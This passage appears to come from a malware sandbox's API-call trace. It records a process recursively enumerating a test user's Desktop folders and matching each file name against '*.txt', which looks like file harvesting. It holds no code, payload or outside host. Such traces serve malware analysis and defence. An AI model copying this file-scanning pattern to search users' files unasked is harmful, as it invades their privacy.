lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.482] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.482] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="UR4TA9fA1.xlsx" | out: lpString1="\\km0vcCJ\\UR4TA9fA1.xlsx") returned="\\km0vcCJ\\UR4TA9fA1.xlsx" [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x2110560 [0099.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", cchWideChar=54, lpMultiByteStr=0x2110560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\UR4TA9fA1.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112f18 [0099.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.482] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.482] PathMatchSpecW (pszFile="UR4TA9fA1.xlsx", pszSpec="*.txt") returned 0 [0099.482] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef6c020, ftCreationTime.dwHighDateTime=0x1d7a00a, ftLastAccessTime.dwLowDateTime=0xc0b52a40, ftLastAccessTime.dwHighDateTime=0x1d7ae1a, ftLastWriteTime.dwLowDateTime=0xc0b52a40, ftLastWriteTime.dwHighDateTime=0x1d7ae1a, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="UR4TA9fA1.xlsx", cAlternateFileName="UR4TA9~1.XLS")) returned 0 [0099.483] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.483] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa5b8 [0099.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.483] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211ad80 [0099.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", cchWideChar=39, lpMultiByteStr=0x211ad80, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpUsedDefaultChar=0x0) returned 39 [0099.483] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.483] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.483] PathMatchSpecW (pszFile="km0vcCJ", pszSpec="*.txt") returned 0 [0099.483] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaab4640, ftCreationTime.dwHighDateTime=0x1d7a7ca, ftLastAccessTime.dwLowDateTime=0xae9fe3b0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0xae9fe3b0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x18c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="m2PaM.avi", cAlternateFileName="")) returned 1 [0099.483] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.483] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.483] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="m2PaM.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi" [0099.483] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.483] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.483] lstrcatW (in: lpString1="\\", lpString2="m2PaM.avi" | out: lpString1="\\m2PaM.avi") returned="\\m2PaM.avi" [0099.483] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.483] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x29) returned 0x2110550 [0099.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", cchWideChar=41, lpMultiByteStr=0x2110550, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\m2PaM.avi", lpUsedDefaultChar=0x0) returned 41 [0099.484] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.484] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113108 [0099.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.484] PathMatchSpecW (pszFile="m2PaM.avi", pszSpec="*.txt") returned 0 [0099.484] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTVwnxmU4D", cAlternateFileName="MTVWNX~1")) returned 1 [0099.484] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.484] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.484] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.484] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.484] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.484] lstrcatW (in: lpString1="\\", lpString2="MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.484] lstrcmpW (lpString1="MTVwnxmU4D", lpString2=".") returned 1 [0099.484] lstrcmpW (lpString1="MTVwnxmU4D", lpString2="..") returned 1 [0099.484] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.484] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*" [0099.484] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.484] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.484] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.485] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\." [0099.485] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.485] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.485] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="." | out: lpString1="\\MTVwnxmU4D\\.") returned="\\MTVwnxmU4D\\." [0099.485] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.485] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.485] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.485] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.485] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\.." [0099.485] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.485] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.485] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2=".." | out: lpString1="\\MTVwnxmU4D\\..") returned="\\MTVwnxmU4D\\.." [0099.485] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.485] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.485] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9d33c0, ftCreationTime.dwHighDateTime=0x1d7accb, ftLastAccessTime.dwLowDateTime=0x1ff5dc10, ftLastAccessTime.dwHighDateTime=0x1d7aebc, ftLastWriteTime.dwLowDateTime=0x1ff5dc10, ftLastWriteTime.dwHighDateTime=0x1d7aebc, nFileSizeHigh=0x0, nFileSizeLow=0xbdd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="4YFnvn DG0jzD_v88d.wav", cAlternateFileName="4YFNVN~1.WAV")) returned 1 [0099.485] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.485] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.485] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="4YFnvn DG0jzD_v88d.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav" [0099.485] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.485] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.485] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="4YFnvn DG0jzD_v88d.wav" | out: lpString1="\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav") returned="\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav" [0099.485] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.485] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x34300d0 [0099.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x34300d0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", lpUsedDefaultChar=0x0) returned 65 [0099.486] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa198 [0099.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.486] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113150 [0099.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113150, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.486] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*.txt") returned 0 [0099.486] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4903bb0, ftCreationTime.dwHighDateTime=0x1d7a5f6, ftLastAccessTime.dwLowDateTime=0x17a6ae50, ftLastAccessTime.dwHighDateTime=0x1d7aea7, ftLastWriteTime.dwLowDateTime=0x17a6ae50, ftLastWriteTime.dwHighDateTime=0x1d7aea7, nFileSizeHigh=0x0, nFileSizeLow=0xa614, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpL2Lcy5i7fg_B1.rtf", cAlternateFileName="EPL2LC~1.RTF")) returned 1 [0099.486] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.486] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.486] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="EpL2Lcy5i7fg_B1.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf" [0099.486] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.486] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.486] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="EpL2Lcy5i7fg_B1.rtf" | out: lpString1="\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf") returned="\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf" [0099.486] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0099.486] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x21128a0 [0099.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x21128a0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", lpUsedDefaultChar=0x0) returned 62 [0099.486] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112d68 [0099.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.486] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.486] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*.txt") returned 0 [0099.486] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3b5b0, ftCreationTime.dwHighDateTime=0x1d7a95d, ftLastAccessTime.dwLowDateTime=0x43037790, ftLastAccessTime.dwHighDateTime=0x1d7a9e3, ftLastWriteTime.dwLowDateTime=0x43037790, ftLastWriteTime.dwHighDateTime=0x1d7a9e3, nFileSizeHigh=0x0, nFileSizeLow=0x11fb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeEEAupCT2yTi9.rtf", cAlternateFileName="LEEEAU~1.RTF")) returned 1 [0099.486] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.486] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.487] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="LeEEAupCT2yTi9.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf" [0099.487] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.487] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.487] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="LeEEAupCT2yTi9.rtf" | out: lpString1="\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf") returned="\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf" [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112780 [0099.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x2112780, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", lpUsedDefaultChar=0x0) returned 61 [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21129c0 [0099.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.487] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*.txt") returned 0 [0099.487] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf40c0, ftCreationTime.dwHighDateTime=0x1d7a6be, ftLastAccessTime.dwLowDateTime=0xba3b5440, ftLastAccessTime.dwHighDateTime=0x1d7af6f, ftLastWriteTime.dwLowDateTime=0xba3b5440, ftLastWriteTime.dwHighDateTime=0x1d7af6f, nFileSizeHigh=0x0, nFileSizeLow=0xd31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbxigokTDmP9qF7bIHTm.gif", cAlternateFileName="QBXIGO~1.GIF")) returned 1 [0099.487] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.487] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: 